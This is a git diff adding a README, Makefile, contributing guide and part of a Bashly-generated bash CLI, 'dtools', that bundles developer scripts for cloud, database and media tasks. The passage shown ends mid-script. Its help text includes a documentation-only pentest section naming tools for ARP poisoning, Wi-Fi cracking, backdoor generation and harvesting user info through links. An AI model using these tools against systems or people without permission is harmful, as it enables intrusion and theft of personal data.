diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..280b6a9 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,13 @@ +# Contributing +Contributors are very welcome! **No contribution is too small and all contributions are valued.** + +## Bashly +This project is created using the fantastic [Bashly](https://bashly.dev) framework. Be sure to reference the Bashly docs +to understand how to make changes to the CLI. + +## Building +Once you make changes, simply run `make build` and it will generate a new `dtools` script in the project root. + +## Questions? Reach out to me! +If you encounter any questions while developing devtools, please don't hesitate to reach out to me at +alex.j.tusa@gmail.com. I'm happy to help contributors in any way I can, regardless of if they're new or experienced! diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..72cbcb0 --- /dev/null +++ b/Makefile @@ -0,0 +1,11 @@ +#!make + +default: build + +.PHONY: build install + +build: + @./scripts/build.sh && echo "\n\n\n\nRun 'source ~/.bashrc' to re-evaluate the completions" + +install: build + @./scripts/install.sh && echo "\n\n\n\nRun 'source ~/.bashrc' to complete the install" diff --git a/README.md b/README.md index cfd9de2..f190c0d 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,155 @@ -# dtools -All-in-one CLI for your command line tasks: cloud management (AWS/GCP), databases, AI tools, plotting, system maintenance, and more. +# devtools +Can +**Devtools (`dtools`)** is a comprehensive CLI utility that consolidates reusable development scripts, tools, and +references into a single, easy-to-use interface. Built with the [Bashly](https://github.com/DannyBen/bashly) framework, it serves multiple purposes: + +- **Script Repository**: A centralized collection of battle-tested bash scripts for common development tasks +- **Functional Documentation**: Reference implementations showing how to interact with various tools and services +- **Quick Reference**: Documentation commands (like `tui` and `pentest` subcommands) that list useful tools and commands + you might not use daily + +Whether you need to spin up a local database, manage AWS resources, analyze code, or just remember that one command you +always forget, `dtools` has you covered. + +## Nomenclature +The Devtools script is abbreviated as `dtools` in the command line. This is purely done so that tab completions +work with fewer keystrokes for the CLI itself. Most commonly, `dto` will autocomplete to `dtools`. + +--- +## Warnings +* **I've only tested these scripts against Debian-based systems (Ubuntu, Pop!_OS, etc.). Some scripts may not + work on other systems.** +* **Some scripts assume that `bash` is your default shell, and thus assume that your shell configuration files are + `.bashrc`. If you use another shell, you may need to modify some scripts to fit your environment.** +--- + +## Installation +To install the `dtools` script, run the following command: + +```shell +git clone git@github.com:Dark-Alex-17/devtools.git ~/.local/share/devtools && pushd ~/.local/share/devtools && make install && popd +``` + +This will install the repo to `~/.local/share/devtools` and run the `make install` command to build and install the +script to your local bin directory (usually `~/.local/bin`). + +--- +## Features + +### ๐Ÿค– AI & Local LLMs +- Chat with local models via llama.cpp +- Start and manage llama.cpp servers +- Quick access to Llama API documentation and UI + +### โ˜๏ธ Cloud & Infrastructure +**AWS**: +- SSO login with automatic credential management +- Open AWS console directly to any service +- Interactive AWS CLI shell +- EC2: List/describe instances, SSH tunneling, start/stop instances +- RDS: Connect to databases, port forwarding +- CloudWatch Logs: Tail log groups, query logs +- Secrets Manager: Retrieve and manage secrets +- SSM: Session manager, parameter store access, bastion instance management + +**GCP**: +- Artifact Registry: Docker login, list repositories +- Vertex AI: Model management and deployment + +### ๐Ÿ—„๏ธ Databases +- Spin up PostgreSQL in Docker with optional persistence +- Interactive database TUI (Harlequin) +- Dump databases to SQL or DBML format +- Database schema visualization + +### ๐Ÿ“Š Data Visualization & Utilities +- Plot data from stdin or files (line/bar charts) +- Real-time plotting for live data streams +- Date/epoch conversion utilities +- Random number generation (int/float) +- ISO 8601 date formatting + +### ๐Ÿ”ง Development Tools +**Java**: +- Switch between Java versions (8, 11, 17, 21) +- SonarQube static analysis integration + +**Git**: +- Search entire git history for strings + +**Elastic Stack**: +- Initialize and manage local Elasticsearch + Kibana + Logstash + +**Docker**: +- Clean images, containers, and volumes + +### ๐Ÿ“ Document Processing +- Convert between formats using pandoc (Markdown, HTML, PDF, DOCX, etc.) +- View markdown files with live preview + +### ๐ŸŒ Network Tools +- Generate self-signed HTTPS certificates +- Start simple HTTP servers with netcat +- Network scanning and monitoring (documentation) + +### ๐Ÿ”’ Security & Ansible +**Ansible**: +- Encrypt/decrypt strings and variables with Ansible Vault + +**Pentesting** (Documentation): +- Reference commands for reconnaissance and testing tools +- Network analysis examples +- Security testing workflows + +### ๐Ÿ’ป Virtual Machines +- Spin up Windows VMs with FreeRDP +- Configurable disk size, RAM, and CPU cores +- Share directories between host and VM +- Persistent VM storage + +### ๐ŸŽฌ Video & Media +- Rip audio from video files with metadata support + +### ๐Ÿงน System Maintenance +- Clean system with BleachBit +- Clean Docker resources +- Clear package manager caches +- Purge old logs and journal entries +- Recursively clean build caches (npm, gradle, maven, etc.) + +### ๐Ÿ”” Notifications +- Subscribe to ntfy topics with optional sound alerts +- Quick reference for ntfy message publishing + +### ๐Ÿ“ฆ Installation Helpers +- Install Docker on Debian systems +- Install Ansible +- Install Java LTS versions (8, 11, 17, 21) + +### ๐Ÿ› ๏ธ Miscellaneous +- Interactive file selection with fzf integration +- Backup files and directories +- Generate secure passwords +- Record terminal sessions as GIFs +- Play mp3 sounds from CLI +- View markdown with GitHub-style rendering + +### ๐Ÿ“š TUI Reference Library +Documentation commands that reference useful TUIs for: +- System monitoring (htop, btop, etc.) +- Network monitoring +- Docker management +- Development workflows +- Data exploration +- AI tools + +## Building +To build the `dtools` script after making some changes, run the `build` target in the [`Makefile`](./Makefile): + +```shell +make build +``` + +## Running the CLI +Assuming you've already run `make install`, the script should now be available on your `PATH`, so running it is as simple as: +`dtools --help` \ No newline at end of file diff --git a/dtools b/dtools new file mode 100755 index 0000000..3157267 --- /dev/null +++ b/dtools @@ -0,0 +1,32315 @@ +#!/usr/bin/env bash +# This script was generated by bashly 1.3.4 (https://bashly.dev) +# Modifying it manually is not recommended + +# :wrapper.bash3_bouncer +if ((BASH_VERSINFO[0] < 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] < 2))); then + printf "bash version 4.2 or higher is required\n" >&2 + exit 1 +fi + +# :command.master_script + +# :command.version_command +version_command() { + echo "$version" +} + +# :command.usage +dtools_usage() { + printf "dtools - A CLI tool to manage all personal dev tools\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools COMMAND\n" + printf " dtools [COMMAND] --help | -h\n" + printf " dtools --version | -v\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Update the dtools CLI to the latest version\n" "$(green "update") " + printf " %s Starts a simple server using netcat\n" "$(green "start-simple-server") " + printf " %s Randomly generate a secure password\n" "$(green "generate-password") " + printf " %s Play a given mp3 sound using the command line. This is useful when combined with ntfy to subscribe to a topic and play a sound whenever receiving a notification\n" "$(green "play-mp3") " + printf " %s Generate a random integer in the given range\n" "$(green "random-int") " + printf " %s Generate a random float in the given range\n" "$(green "random-float") " + printf " %s Record the current shell and create a gif of the session.\n" "$(green "record-shell") " + echo + printf "%s\n" "$(bold "AI Commands:")" + printf " %s AI commands\n" "$(green "ai") " + printf " %s Chat with a model running on your local machine via llama.cpp\n" "$(green "ai chat") " + printf " %s Start a llama.cpp server\n" "$(green "ai start-llama-server") " + printf " %s Open the llama.cpp UI in a browser\n" "$(green "ai open-llama-ui") " + printf " %s Open the Llama API documentation in a browser\n" "$(green "ai open-llama-api-docs") " + echo + printf "%s\n" "$(bold "AWS Commands:")" + printf " %s AWS commands\n" "$(green "aws") " + printf " %s Log in to AWS using SSO. \n" "$(green "aws login") " + printf " %s Open the AWS console in your default browser using the current AWS_REGION and AWS_PROFILE\n" "$(green "aws console") " + printf " %s Drop into an interactive AWS CLI shell with auto-completion\n" "$(green "aws shell") " + printf " %s Change AWS profile\n" "$(green "aws profile") " + printf " %s Change AWS region\n" "$(green "aws region") " + printf " %s Toggle the AWS CLI auto prompt\n" "$(green "aws toggle-auto-prompt") " + printf " %s Exports SSO credentials to environment variables for use with AWS SDKs\n" "$(green "aws export-sso-creds") " + printf " %s Fetch all AWS accounts via AWS SSO, and generate the profiles for CLI connectivity.\n" "$(green "aws generate-sso-profiles") " + printf " %s EC2 commands\n" "$(green "aws ec2") " + printf " %s SSM commands\n" "$(green "aws ssm") " + printf " %s Secrets Manager commands\n" "$(green "aws secretsmanager") " + printf " %s AWS Logs commands\n" "$(green "aws logs") " + printf " %s RDS commands\n" "$(green "aws rds") " + echo + printf "%s\n" "$(bold "GCP Commands:")" + printf " %s GCP commands\n" "$(green "gcp") " + printf " %s Log in to GCP using SSO.\n" "$(green "gcp login") " + printf " %s Change GCP project\n" "$(green "gcp project") " + printf " %s Change GCP location\n" "$(green "gcp location") " + printf " %s Get the GCP project number of the specified project\n" "$(green "gcp get-project-number") " + printf " %s Vertex AI commands\n" "$(green "gcp vertex") " + printf " %s GCP Artifact Registry commands\n" "$(green "gcp artifacts") " + echo + printf "%s\n" "$(bold "Database Commands:")" + printf " %s Database commands\n" "$(green "db") " + printf " %s Start an interactive Docker container with psql to experiment with PostgreSQL.\n" "$(green "db postgres") " + printf " %s Start an interactive Docker container with mysql to experiment with MySQL.\n" "$(green "db mysql") " + printf " %s Start a Harlequin session to big query using the specified project\n" "$(green "db bigquery") " + echo + printf "%s\n" "$(bold "Elastic Commands:")" + printf " %s Elastic Stack commands\n" "$(green "elastic") " + printf " %s Initialize a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "elastic init") " + printf " %s Start a local Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "elastic start") " + printf " %s Stop a locally running Elastic Stack (Elasticsearch + Kibana + Logstash)\n" "$(green "elastic stop") " + echo + printf "%s\n" "$(bold "Java Commands:")" + printf " %s Java commands\n" "$(green "java") " + printf " %s Sets the system-wide Java version\n" "$(green "java set-version") " + printf " %s Perform static code analysis for the current directory's Java project with SonarQube\n" "$(green "java analyze-with-sonar") " + echo + printf "%s\n" "$(bold "Ansible Commands:")" + printf " %s Ansible commands\n" "$(green "ansible") " + printf " %s Encrypt the plaintext string given in the prompt, prompting the user for the vault password, with Ansible Vault\n" "$(green "ansible encrypt-string") " + printf " %s Decrypt a variable encrypted with Ansible Vault\n" "$(green "ansible decrypt-variable") " + echo + printf "%s\n" "$(bold "Install Commands:")" + printf " %s Install commands\n" "$(green "install") " + printf " %s Install Docker (Debian-based systems only)\n" "$(green "install docker") " + printf " %s Install Ansible\n" "$(green "install ansible") " + printf " %s Install LTS OpenJDK's 8, 11, 17, and 21 (Debian-based systems only)\n" "$(green "install java") " + echo + printf "%s\n" "$(bold "Cleaning Commands:")" + printf " %s System cleaning commands\n" "$(green "clean") " + printf " %s Perform a system-wide upkeep cleanup with BleachBit\n" "$(green "clean bleachbit") " + printf " %s Clean docker images, containers, and volumes\n" "$(green "clean docker") " + printf " %s Clean package manager caches (Debian-based systems only)\n" "$(green "clean package-caches") " + printf " %s Clean up system logs by deleting old logs and clearing the journal\n" "$(green "clean logs") " + printf " %s Clean all build caches\n" "$(green "clean build-caches") " + echo + printf "%s\n" "$(bold "TUI Commands:")" + printf " %s TUIs (Documentation only)\n" "$(green "tui") " + printf " %s TUIs for monitoring systems\n" "$(green "tui monitoring") " + printf " %s TUIs for monitoring network activities\n" "$(green "tui network-monitoring") " + printf " %s TUIs for various network tools\n" "$(green "tui network") " + printf " %s TUIs for Docker related tools\n" "$(green "tui docker") " + printf " %s TUIs for development related tools\n" "$(green "tui development") " + printf " %s TUIs for helping devs get help or solve problems\n" "$(green "tui dev-help") " + printf " %s TUIs to query or analyze data\n" "$(green "tui data") " + printf " %s TUIs for miscellaneous things\n" "$(green "tui misc") " + printf " %s TUIs for sandboxing applications or experimentation\n" "$(green "tui sandbox") " + printf " %s TUIs for AI related tooling\n" "$(green "tui ai") " + echo + printf "%s\n" "$(bold "Pentest Commands:")" + printf " %s Pentest commands (Documentation only)\n" "$(green "pentest") " + printf " %s A social engineering strategy planning and reconnaissance tool\n" "$(green "pentest maltego") " + printf " %s View and modify interfaces (Debian-based OSes only)\n" "$(green "pentest ifconfig") " + printf " %s Scan the network for devices (Debian-based OSes only)\n" "$(green "pentest netdiscover") " + printf " %s Map the network\n" "$(green "pentest nmap") " + printf " %s Perform arp poisoning (Debian-based OSes only)\n" "$(green "pentest arpspoof") " + printf " %s Analyze network data\n" "$(green "pentest bettercap") " + printf " %s Metasploit Framework for executing known exploits against targets\n" "$(green "pentest msfconsole") " + printf " %s Wireless network password cracking\n" "$(green "pentest aircrack-ng") " + printf " %s Generate brute-force passwords wordlist with some constraints. Useful if you have some idea of what the password is already.\n" "$(green "pentest crunch") " + printf " %s Generate backdoor binaries using known exploits\n" "$(green "pentest veil") " + printf " %s Free public load balancing to direct traffic to your local system\n" "$(green "pentest ngrok") " + printf " %s Generates links to a locally hosted website to collect user info\n" "$(green "pentest storm-breaker") " + echo + printf "%s\n" "$(bold "Video Commands:")" + printf " %s Video commands\n" "$(green "video") " + printf " %s Rip the audio from a video file.\n" "$(green "video rip-audio") " + printf " %s Download YouTube videos\n" "$(green "video youtube") " + printf " %s Automatically detect and split scenes in the specified video file\n" "$(green "video split-scenes") " + printf " %s Get the duration of a video file\n" "$(green "video duration") " + printf " %s Boost the audio of the specified video file\n" "$(green "video boost-audio") " + echo + printf "%s\n" "$(bold "Virtual Machine Commands:")" + printf " %s Virtual Machine commands\n" "$(green "vm") " + printf " %s Start a windows VM and then open a FreeRDP session to the container. The web version is also available at http://localhost:8006\n" "$(green "vm windows") " + printf " %s Start a Linux VM that's available at http://localhost:8006 and via SSH on port 2222\n" "$(green "vm linux") " + printf " %s Start a MacOS VM that's available at http://localhost:8006\n" "$(green "vm mac") " + echo + printf "%s\n" "$(bold "Network Commands:")" + printf " %s Network commands\n" "$(green "network") " + printf " %s Generate a self-signed HTTPS certificate for use in testing\n" "$(green "network generate-self-signed-certificate")" + printf " %s Proxy HTTPS traffic\n" "$(green "network https-proxy") " + printf " %s Proxy all TCP traffic with simpleproxy (Debian-based systems only)\n" "$(green "network tcp-proxy") " + printf " %s Proxy all HTTP and HTTPS requests locally to a remote server using Nginx.\n" "$(green "network proxy-with-nginx") " + printf " %s Start a Man-in-the-Middle (MITM) proxy to intercept and log all requests\n" "$(green "network mitm-proxy") " + printf " %s Download an archive an entire website for offline viewing via Kiwix and .zim formats using OpenZim's zimit\n" "$(green "network archive-website") " + printf " %s Convert a WARC to ZIM format for easier offline viewing using OpenZim's zimit\n" "$(green "network warc-2-zim") " + printf " %s Start a local API to generate Mermaid diagrams\n" "$(green "network mermaid-api") " + echo + printf "%s\n" "$(bold "Ntfy Commands:")" + printf " %s ntfy commands for easy reference\n" "$(green "ntfy") " + printf " %s Subscribe to the specified ntfy topic and optionally play a sound whenever a message is received.\n" "$(green "ntfy subscribe") " + printf " %s Open the ntfy message publishing reference page in your default browser\n" "$(green "ntfy reference") " + echo + printf "%s\n" "$(bold "Documents Commands:")" + printf " %s Commands for manipulating documents\n" "$(green "document") " + printf " %s Convert any given document into any other supported format using pandoc\n" "$(green "document convert") " + printf " %s Merge a list of PDFs into a single PDF file\n" "$(green "document merge-pdf") " + printf " %s Decrypt a PDF so it can be manipulated via CLI tools\n" "$(green "document decrypt-pdf") " + echo + printf "%s\n" "$(bold "Git Commands:")" + printf " %s Git commands\n" "$(green "git") " + printf " %s Search all previous tracked files for a given string to see all changes involving the specified string\n" "$(green "git search-history") " + echo + printf "%s\n" "$(bold "Miscellaneous Commands:")" + printf " %s Plot data piped into this command (one-off)\n" "$(green "plot") " + printf " %s Continuously plot data piped into this command (like following a log tail)\n" "$(green "real-time-plot") " + printf " %s Convert a given date timestamp into epoch millis\n" "$(green "date-to-epoch") " + printf " %s Convert a given epoch (in millis) to a date timestamp\n" "$(green "epoch-to-date") " + printf " %s Convert a given date into ISO 8601 format\n" "$(green "date-to-iso-8601") " + printf " %s View markdown file in a browser with images and links\n" "$(green "view-markdown") " + printf " %s Pipe the output of a command to fzf for interactive selection\n" "$(green "fzf") " + printf " %s Create a backup of a file or directory. By default, this will create a copy of the specified file or directory in the same source directory.\n" "$(green "backup") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + printf " %s\n" "$(magenta "--version, -v")" + printf " Show version number\n" + echo + + fi +} + +# :command.usage +dtools_completions_usage() { + if [[ -n $long_usage ]]; then + printf "dtools completions\n\n" + printf " Generate bash completions\n Usage: eval \"\$(dtools completions)\"\n\n" + else + printf "dtools completions - Generate bash completions\n\n" + fi + + printf "%s\n" "$(bold "Usage:")" + printf " dtools completions\n" + printf " dtools completions --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_update_usage() { + printf "dtools update - Update the dtools CLI to the latest version\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools update\n" + printf " dtools update --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_ai_usage() { + printf "dtools ai - AI commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools ai COMMAND\n" + printf " dtools ai [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Chat with a model running on your local machine via llama.cpp\n" "$(green "chat") " + printf " %s Start a llama.cpp server\n" "$(green "start-llama-server") " + printf " %s Open the llama.cpp UI in a browser\n" "$(green "open-llama-ui") " + printf " %s Open the Llama API documentation in a browser\n" "$(green "open-llama-api-docs")" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_ai_chat_usage() { + printf "dtools ai chat - Chat with a model running on your local machine via llama.cpp\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools ai chat [OPTIONS]\n" + printf " dtools ai chat --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--hf-repo, -r HF_REPO")" + printf " The Hugging Face repository to use\n" + printf " %s\n" "Default: microsoft/Phi-3-mini-4k-instruct-gguf" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--hf-file, -f HF_FILE")" + printf " The Hugging Face model GGUF file to use\n" + printf " %s\n" "Default: Phi-3-mini-4k-instruct-q4.gguf" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_ai_start_llama_server_usage() { + printf "dtools ai start-llama-server - Start a llama.cpp server\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools ai start-llama-server [OPTIONS]\n" + printf " dtools ai start-llama-server --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--hf-repo, -r HF_REPO")" + printf " The Hugging Face repository to use\n" + printf " %s\n" "Default: microsoft/Phi-3-mini-4k-instruct-gguf" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--hf-file, -f HF_FILE")" + printf " The Hugging Face model GGUF file to use\n" + printf " %s\n" "Default: Phi-3-mini-4k-instruct-q4.gguf" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_ai_open_llama_ui_usage() { + printf "dtools ai open-llama-ui - Open the llama.cpp UI in a browser\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools ai open-llama-ui\n" + printf " dtools ai open-llama-ui --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_ai_open_llama_api_docs_usage() { + printf "dtools ai open-llama-api-docs - Open the Llama API documentation in a browser\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools ai open-llama-api-docs\n" + printf " dtools ai open-llama-api-docs --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_usage() { + printf "dtools aws - AWS commands\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws COMMAND\n" + printf " dtools aws [COMMAND] --help | -h\n" + echo + # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" + printf " %s Log in to AWS using SSO. \n" "$(green "login") " + printf " %s Open the AWS console in your default browser using the current AWS_REGION and AWS_PROFILE\n" "$(green "console") " + printf " %s Drop into an interactive AWS CLI shell with auto-completion\n" "$(green "shell") " + printf " %s Change AWS profile\n" "$(green "profile") " + printf " %s Change AWS region\n" "$(green "region") " + printf " %s Toggle the AWS CLI auto prompt\n" "$(green "toggle-auto-prompt") " + printf " %s Exports SSO credentials to environment variables for use with AWS SDKs\n" "$(green "export-sso-creds") " + printf " %s Fetch all AWS accounts via AWS SSO, and generate the profiles for CLI connectivity.\n" "$(green "generate-sso-profiles") " + echo + printf "%s\n" "$(bold "EC2 Commands:")" + printf " %s EC2 commands\n" "$(green "ec2") " + printf " %s List all EC2 instances in the account\n" "$(green "ec2 list-instances") " + echo + printf "%s\n" "$(bold "SSM Commands:")" + printf " %s SSM commands\n" "$(green "ssm") " + printf " %s Use SSM to connect to an EC2 instance and forward a local port to the remote machine\n" "$(green "ssm start-port-forwarding") " + printf " %s Start an EC2 instance to act as a bastion host for ngrok\n" "$(green "ssm start-ngrok-bastion-instance")" + printf " %s List all AWS SSM Parameter Store parameters\n" "$(green "ssm list-parameters") " + printf " %s Get the value of an AWS SSM Parameter Store parameter\n" "$(green "ssm get-parameter") " + printf " %s Create a new parameter in AWS SSM Parameter Store\n" "$(green "ssm create-parameter") " + printf " %s Update an existing parameter in AWS SSM Parameter Store (Will create a new parameter if it does not exist)\n" "$(green "ssm update-parameter") " + printf " %s Delete a parameter from AWS SSM Parameter Store\n" "$(green "ssm delete-parameter") " + echo + printf "%s\n" "$(bold "Secrets Manager Commands:")" + printf " %s Secrets Manager commands\n" "$(green "secretsmanager") " + printf " %s List all AWS Secrets Manager secrets\n" "$(green "secretsmanager list-secrets") " + printf " %s Show the secret value for the specified secret\n" "$(green "secretsmanager show-secret") " + printf " %s Create a new secret in Secrets Manager\n" "$(green "secretsmanager create-secret") " + echo + printf "%s\n" "$(bold "Logs Commands:")" + printf " %s AWS Logs commands\n" "$(green "logs") " + printf " %s List all of the log groups in CloudWatch\n" "$(green "logs list-log-groups") " + printf " %s Tails the specified CloudWatch log group\n" "$(green "logs tail-log-group") " + printf " %s Query one or more log groups with the given query string\n" "$(green "logs query-log-groups") " + echo + printf "%s\n" "$(bold "RDS Commands:")" + printf " %s RDS commands\n" "$(green "rds") " + printf " %s List all RDS DB instances for the given account by their name\n" "$(green "rds list-db-instances") " + printf " %s Fetch the connection details for the given RDS DB instance\n" "$(green "rds fetch-db-connection-details") " + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_login_usage() { + if [[ -n $long_usage ]]; then + printf "dtools aws login\n\n" + printf " Log in to AWS using SSO. \n This command will also set your 'AWS_PROFILE' and 'AWS_REGION' environment\n variables.\n It will also export temporary credentials to your environment with the\n 'AWS_ACCESS_KEY_ID' and 'AWS_SECRET_ACCESS_KEY' environment variables.\n \n This command is essentially a shorthand for the following commands:\n dtools aws profile \n dtools aws region \n dtools aws login\n dtools aws export-sso-creds\n\n" + else + printf "dtools aws login - Log in to AWS using SSO. \n\n" + fi + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws login [OPTIONS]\n" + printf " dtools aws login --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools aws login -p prod -r us-east-1\n" + printf " # When the 'AWS_PROFILE' and 'AWS_REGION' environment variables are already\n # set\n dtools aws login\n" + echo + + fi +} + +# :command.usage +dtools_aws_console_usage() { + printf "dtools aws console - Open the AWS console in your default browser using the current AWS_REGION and AWS_PROFILE\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws console [OPTIONS]\n" + printf " dtools aws console --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_flags + # :flag.usage + printf " %s\n" "$(magenta "--profile, -p PROFILE")" + printf " The AWS profile to use\n" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--region, -r REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + printf " %s\n" "Default: us-east-1" + echo + + # :flag.usage + printf " %s\n" "$(magenta "--service, -s SERVICE")" + printf " The AWS service to open the console to\n" + echo + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_shell_usage() { + printf "dtools aws shell - Drop into an interactive AWS CLI shell with auto-completion\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws shell\n" + printf " dtools aws shell --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + fi +} + +# :command.usage +dtools_aws_profile_usage() { + printf "dtools aws profile - Change AWS profile\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws profile PROFILE\n" + printf " dtools aws profile --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "PROFILE")" + printf " The AWS profile to use, corresponding profiles in your ~/.aws/config\n" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools aws profile prod\n" + echo + + fi +} + +# :command.usage +dtools_aws_region_usage() { + printf "dtools aws region - Change AWS region\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws region REGION\n" + printf " dtools aws region --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # :command.usage_fixed_flags + printf " %s\n" "$(magenta "--help, -h")" + printf " Show this help\n" + echo + + # :command.usage_args + printf "%s\n" "$(bold "Arguments:")" + + # :argument.usage + printf " %s\n" "$(blue "REGION")" + printf " The AWS region to use\n" + printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" + echo + + # :command.usage_examples + printf "%s\n" "$(bold "Examples:")" + printf " dtools aws region us-east-1\n" + echo + + fi +} + +# :command.usage +dtools_aws_toggle_auto_prompt_usage() { + printf "dtools aws toggle-auto-prompt - Toggle the AWS CLI auto prompt\n\n" + + printf "%s\n" "$(bold "Usage:")" + printf " dtools aws toggle-auto-prompt\n" + printf " dtools aws toggle-auto-prompt --help | -h\n" + echo + + # :command.long_usage + if [[ -n "$long_usage" ]]; then + # :command.usage_options + printf "%s\n" "$(bold "Options:")" + + # 